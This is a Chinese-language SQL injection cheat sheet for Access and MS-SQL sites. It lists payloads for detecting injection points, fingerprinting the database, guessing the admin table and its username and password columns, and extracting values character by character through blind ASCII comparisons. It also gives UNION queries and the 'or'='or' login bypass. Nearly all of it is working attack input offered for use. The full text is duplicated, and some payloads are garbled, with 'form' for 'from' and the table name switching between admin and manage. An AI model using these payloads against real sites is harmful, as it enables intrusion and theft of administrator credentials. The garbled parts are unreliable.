1.判断注入点
'单引号 异常
and 1=1 正常
and 1=2 异常
2.判断数据库类型
and (select count (*) from msysobjects)>0 access异常
and (select count (*) from sysobjects)>0 mssql正常
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,
而MS-SQL的系统表是sysobjects,在WEB环境下有访问权限。
3.猜解表名
穷举查询
and 0<>(select count(*) from 表名admin)
4.猜解字段名/列名
穷举查询
and 0<>(select count(列名username) from admin)
and 0<>(select count(列名password) from admin)
5.猜解字段长度
穷举查询
and (select top 1 len(username) from admin)>0
and (select top 1 len(username) from admin)>1
and (select top 1 len(username) from admin)>2
and (select top 1 len(username) from admin)>3
......
and (select top 1 len(password) from admin)>0
and (select top 1 len(password) from admin)>1
and (select top 1 len(password) from admin)>2
and (select top 1 len(password) from admin)>3
......
依次猜解字段长度>n,直到报错为止,说明字段长度=n
排序查询:
order by 1
order by 2
order by 3
......
6.猜解字段值
穷举查询
and (select asc(mid(username,1,1)) from admin)>0
......
and (select asc(mid(username,2,1)) from admin)>0
......
猜字段的ascii码值
联合查询
union select 1,2,3,4,5,6.... from 表名admin
如果union查询返回数据对应列类型不同的话,在union前添加and 1=0:
and 1=0 union select 1,2,3,4,5,6.... from 表名admin
让前面的语句返回空,那么后面的无论是什么类型都不会出错!
7.万能密码
'or'='or'
*******************************************************
or注入2:
1.判断注入点
or 1=1
or 1=2
由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。
"假是真时真是假"
2.猜表名
or exists(select * from admin)
如果返回错误页面,说明存在admin表;如果正常,说明不存在admin表
3.猜列名
or exists(select username from admin)
如果返回异常页面,说明admin表中含有username这个列
4.猜字段
or (select top 1 asc(mid(username,1,1)) form admin)<123
判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
or (select top 1 asc(mid(username,1,1)) form manage)>96
提交后发现返回异常页面,所以第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。
需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码
'单引号 异常
and 1=1 正常
and 1=2 异常
2.判断数据库类型
and (select count (*) from msysobjects)>0 access异常
and (select count (*) from sysobjects)>0 mssql正常
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,
而MS-SQL的系统表是sysobjects,在WEB环境下有访问权限。
3.猜解表名
穷举查询
and 0<>(select count(*) from 表名admin)
4.猜解字段名/列名
穷举查询
and 0<>(select count(列名username) from admin)
and 0<>(select count(列名password) from admin)
5.猜解字段长度
穷举查询
and (select top 1 len(username) from admin)>0
and (select top 1 len(username) from admin)>1
and (select top 1 len(username) from admin)>2
and (select top 1 len(username) from admin)>3
......
and (select top 1 len(password) from admin)>0
and (select top 1 len(password) from admin)>1
and (select top 1 len(password) from admin)>2
and (select top 1 len(password) from admin)>3
......
依次猜解字段长度>n,直到报错为止,说明字段长度=n
排序查询:
order by 1
order by 2
order by 3
......
6.猜解字段值
穷举查询
and (select asc(mid(username,1,1)) from admin)>0
......
and (select asc(mid(username,2,1)) from admin)>0
......
猜字段的ascii码值
联合查询
union select 1,2,3,4,5,6.... from 表名admin
如果union查询返回数据对应列类型不同的话,在union前添加and 1=0:
and 1=0 union select 1,2,3,4,5,6.... from 表名admin
让前面的语句返回空,那么后面的无论是什么类型都不会出错!
7.万能密码
'or'='or'
*******************************************************
or注入2:
1.判断注入点
or 1=1
or 1=2
由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。
"假是真时真是假"
2.猜表名
or exists(select * from admin)
如果返回错误页面,说明存在admin表;如果正常,说明不存在admin表
3.猜列名
or exists(select username from admin)
如果返回异常页面,说明admin表中含有username这个列
4.猜字段
or (select top 1 asc(mid(username,1,1)) form admin)<123
判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。
or (select top 1 asc(mid(username,1,1)) form manage)>96
提交后发现返回异常页面,所以第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。
需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码